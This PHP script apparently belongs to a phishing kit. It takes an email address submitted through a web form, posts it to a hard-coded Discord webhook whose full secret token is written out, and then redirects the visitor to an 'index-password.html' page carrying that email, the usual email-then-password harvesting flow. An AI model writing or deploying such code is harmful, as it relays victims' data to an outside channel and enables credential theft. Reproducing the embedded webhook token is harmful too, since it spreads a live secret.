<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $userEmail = $_POST['email']; // example field from your form

    // Your Discord webhook URL
    $webhookUrl = "https://discordapp.com/api/webhooks/1432719339412389928/ogyEbU5J7_QeA4pCxOKn0iCo8_WUsCjx8MGqzgR2pxE7z9tYK83qKqYL5Was2TWynahf";

    // Message content
    $data = [
        "content" => "📩 New form submission:\nEmail: " . htmlspecialchars($userEmail)
    ];

    // Send the message using cURL
    $ch = curl_init($webhookUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // Redirect or handle result
    if ($httpCode === 204) { // Discord returns 204 on success
         header("Location: index-password.html?email=" . urlencode($userEmail));
        exit;
    } else {
        echo "❌ Failed to send Discord message. HTTP code: $httpCode <br>Response: $response";
    }
}
?>
